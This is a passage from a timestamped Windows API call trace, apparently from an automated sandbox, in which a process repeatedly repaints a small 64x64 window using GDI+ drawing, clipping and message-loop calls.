0x1e7b48a0 [0177.097] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0177.097] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.098] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.098] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0177.098] GdipCreateRegion (region=0x15dc20) returned 0x0 [0177.098] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0177.098] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0177.098] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0177.098] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.098] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.098] GetSystemMetrics (nIndex=42) returned 0 [0177.098] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.098] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.098] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.098] CoTaskMemFree (pv=0x1e91eca0) [0177.099] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0177.099] GdipCreateRegion (region=0x15d710) returned 0x0 [0177.099] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0177.099] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0177.099] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0177.099] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0177.099] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.099] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.100] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.100] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0177.100] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.100] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.100] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.101] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.101] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0177.101] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0177.101] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0177.101] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0177.101] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.101] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0177.101] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0177.101] GetCurrentObject (hdc=0x2b010bc1, type=0x1) returned 0x1b00017 [0177.101] GetCurrentObject (hdc=0x2b010bc1, type=0x2) returned 0x1900010 [0177.101] GetCurrentObject (hdc=0x2b010bc1, type=0x7) returned 0x1a05067e [0177.101] GetCurrentObject (hdc=0x2b010bc1, type=0x6) returned 0x18a002e [0177.102] SaveDC (hdc=0x2b010bc1) returned 1 [0177.102] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6e0407c3 [0177.102] GetClipRgn (hdc=0x2b010bc1, hrgn=0x6e0407c3) returned 0 [0177.102] SelectClipRgn (hdc=0x2b010bc1, hrgn=0x3e040b8a) returned 2 [0177.102] DeleteObject (ho=0x6e0407c3) returned 1 [0177.102] DeleteObject (ho=0x3e040b8a) returned 1 [0177.102] OffsetViewportOrgEx (in: hdc=0x2b010bc1, x=0, y=0, lppt=0x2763a68 | out: lppt=0x2763a68) returned 1 [0177.102] GetNearestColor (hdc=0x2b010bc1, color=0xffffff) returned 0xffffff [0177.102] CreateSolidBrush (color=0xffffff) returned 0x46100190 [0177.103] FillRect (hDC=0x2b010bc1, lprc=0x15d7c0, hbr=0x46100190) returned 1 [0177.103] DeleteObject (ho=0x46100190) returned 1 [0177.103] RestoreDC (hdc=0x2b010bc1, nSavedDC=-1) returned 1 [0177.103] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.103] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2b010bc1) returned 0x0 [0177.103] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb5a0dbd) returned 0x0 [0177.103] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.103] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0177.103] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.103] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.103] GetSystemMetrics (nIndex=42) returned 0 [0177.103] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.104] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.104] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.104] CoTaskMemFree (pv=0x1e91eca0) [0177.104] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0177.104] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0177.104] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0177.104] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0177.104] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x2b010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0177.104] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.104] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2b010bc1) returned 0x0 [0177.104] SelectObject (hdc=0x2b010bc1, h=0x185000f) returned 0x1a05067e [0177.105] DeleteDC (hdc=0x2b010bc1) returned 1 [0177.105] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.105] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0177.105] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0177.105] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0177.105] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.105] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.105] WaitMessage () returned 1 [0177.236] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.236] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.236] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.236] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.236] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.236] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0177.236] GetCurrentThreadId () returned 0xec0 [0177.236] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0177.237] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.237] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.237] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.237] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.237] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.237] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0177.237] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0177.237] CreateCompatibleDC (hdc=0x2d010b73) returned 0x1e010b77 [0177.237] SelectObject (hdc=0x1e010b77, h=0x1a05067e) returned 0x185000f [0177.237] GdipCreateFromHDC (hdc=0x1e010b77, graphics=0x15daf0) returned 0x0 [0177.238] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0177.238] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0177.239] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0177.239] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0177.239] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0177.239] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.239] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0177.240] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.240] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.240] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0177.240] GdipCreateRegion (region=0x15dc20) returned 0x0 [0177.240] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0177.240] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0177.240] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0177.240] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.240] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.240] GetSystemMetrics (nIndex=42) returned 0 [0177.240] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.240] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.240] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.241] CoTaskMemFree (pv=0x1e91eca0) [0177.241] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0177.241] GdipCreateRegion (region=0x15d710) returned 0x0 [0177.241] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0177.241] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0177.241] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0177.241] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0177.241] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.241] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.242] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.242] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0177.242] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.242] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.242] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.243] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.243] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0177.243] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0177.243] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0177.243] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0177.243] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.243] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0177.243] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0177.243] GetCurrentObject (hdc=0x1e010b77, type=0x1) returned 0x1b00017 [0177.243] GetCurrentObject (hdc=0x1e010b77, type=0x2) returned 0x1900010 [0177.243] GetCurrentObject (hdc=0x1e010b77, type=0x7) returned 0x1a05067e [0177.244] GetCurrentObject (hdc=0x1e010b77, type=0x6) returned 0x18a002e [0177.244] SaveDC (hdc=0x1e010b77) returned 1 [0177.244] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3f040b8a [0177.244] GetClipRgn (hdc=0x1e010b77, hrgn=0x3f040b8a) returned 0 [0177.244] SelectClipRgn (hdc=0x1e010b77, hrgn=0x6f0407c3) returned 2 [0177.244] DeleteObject (ho=0x3f040b8a) returned 1 [0177.244] DeleteObject (ho=0x6f0407c3) returned 1 [0177.244] OffsetViewportOrgEx (in: hdc=0x1e010b77, x=0, y=0, lppt=0x27643a0 | out: lppt=0x27643a0) returned 1 [0177.244] GetNearestColor (hdc=0x1e010b77, color=0xffffff) returned 0xffffff [0177.245] CreateSolidBrush (color=0xffffff) returned 0x47100190 [0177.245] FillRect (hDC=0x1e010b77, lprc=0x15d7c0, hbr=0x47100190) returned 1 [0177.245] DeleteObject (ho=0x47100190) returned 1 [0177.245] RestoreDC (hdc=0x1e010b77, nSavedDC=-1) returned 1 [0177.245] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.245] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1e010b77) returned 0x0 [0177.245] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb580dbd) returned 0x0 [0177.245] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.245] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0177.245] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.245] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.245] GetSystemMetrics (nIndex=42) returned 0 [0177.245] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.245] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.246] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.246] CoTaskMemFree (pv=0x1e91eca0) [0177.246] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0177.248] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0177.248] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0177.248] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0177.248] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0177.248] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x1e010b77, x1=0, y1=0, rop=0xcc0020) returned 1 [0177.248] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.248] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1e010b77) returned 0x0 [0177.249] SelectObject (hdc=0x1e010b77, h=0x185000f) returned 0x1a05067e [0177.249] DeleteDC (hdc=0x1e010b77) returned 1 [0177.249] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.249] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0177.249] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0177.249] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0177.249] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.249] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.249] WaitMessage () returned 1 [0177.379] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.379] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.379] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.379] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.379] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.379] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0177.379] GetCurrentThreadId () returned 0xec0 [0177.379] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0177.379] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.379] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.380] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.380] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.380] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.380] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0177.380] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0177.381] CreateCompatibleDC (hdc=0x2d010b73) returned 0x2d010baf [0177.381] SelectObject (hdc=0x2d010baf, h=0x1a05067e) returned 0x185000f [0177.381] GdipCreateFromHDC (hdc=0x2d010baf, graphics=0x15daf0) returned 0x0 [0177.381] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0177.381] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0177.381] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0177.382] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0177.382] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0177.382] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.382] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0177.382] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.383] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.383] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0177.383] GdipCreateRegion (region=0x15dc20) returned 0x0 [0177.383] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0177.383] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0177.383] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0177.383] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.383] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.383] GetSystemMetrics (nIndex=42) returned 0 [0177.383] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.383] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.383] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.383] CoTaskMemFree (pv=0x1e91eca0) [0177.383] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0177.384] GdipCreateRegion (region=0x15d710) returned 0x0 [0177.384] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0177.384] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0177.384] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0177.384] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0177.384] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.384] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.385] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.385] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0177.385] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.385] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.385] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.385] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.385] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0177.385] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0177.386] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0177.386] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0177.386] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.386] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0177.386] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0177.386] GetCurrentObject (hdc=0x2d010baf, type=0x1) returned 0x1b00017 [0177.386] GetCurrentObject (hdc=0x2d010baf, type=0x2) returned 0x1900010 [0177.386] GetCurrentObject (hdc=0x2d010baf, type=0x7) returned 0x1a05067e [0177.386] GetCurrentObject (hdc=0x2d010baf, type=0x6) returned 0x18a002e [0177.386] SaveDC (hdc=0x2d010baf) returned 1 [0177.386] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x700407c3 [0177.386] GetClipRgn (hdc=0x2d010baf, hrgn=0x700407c3) returned 0 [0177.387] SelectClipRgn (hdc=0x2d010baf, hrgn=0x40040b8a) returned 2 [0177.387] DeleteObject (ho=0x700407c3) returned 1 [0177.387] DeleteObject (ho=0x40040b8a) returned 1 [0177.387] OffsetViewportOrgEx (in: hdc=0x2d010baf, x=0, y=0, lppt=0x27656a8 | out: lppt=0x27656a8) returned 1 [0177.387] GetNearestColor (hdc=0x2d010baf, color=0xffffff) returned 0xffffff [0177.387] CreateSolidBrush (color=0xffffff) returned 0x48100190 [0177.387] FillRect (hDC=0x2d010baf, lprc=0x15d7c0, hbr=0x48100190) returned 1 [0177.388] DeleteObject (ho=0x48100190) returned 1 [0177.388] RestoreDC (hdc=0x2d010baf, nSavedDC=-1) returned 1 [0177.388] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.388] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2d010baf) returned 0x0 [0177.388] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb560dbd) returned 0x0 [0177.388] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.388] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0177.388] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.388] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.389] GetSystemMetrics (nIndex=42) returned 0 [0177.389] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.389] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.389] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.389] CoTaskMemFree (pv=0x1e91eca0) [0177.389] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0177.389] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0177.389] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0177.389] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0177.389] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x2d010baf, x1=0, y1=0, rop=0xcc0020) returned 1 [0177.391] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.391] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2d010baf) returned 0x0 [0177.391] SelectObject (hdc=0x2d010baf, h=0x185000f) returned 0x1a05067e [0177.391] DeleteDC (hdc=0x2d010baf) returned 1 [0177.392] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.392] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0177.392] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0177.392] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0177.392] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.392] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.392] WaitMessage () returned 1 [0177.517] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.517] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.517] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.517] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.517] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.517] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0177.517] GetCurrentThreadId () returned 0xec0 [0177.518] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0177.518] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.518] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.518] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.518] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.518] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.518] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0177.518] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0177.518] CreateCompatibleDC (hdc=0x2d010b73) returned 0x2e010baf [0177.518] SelectObject (hdc=0x2e010baf, h=0x1a05067e) returned 0x185000f [0177.519] GdipCreateFromHDC (hdc=0x2e010baf, graphics=0x15daf0) returned 0x0 [0177.519] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0177.519] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0177.519] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0177.519] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0177.519] 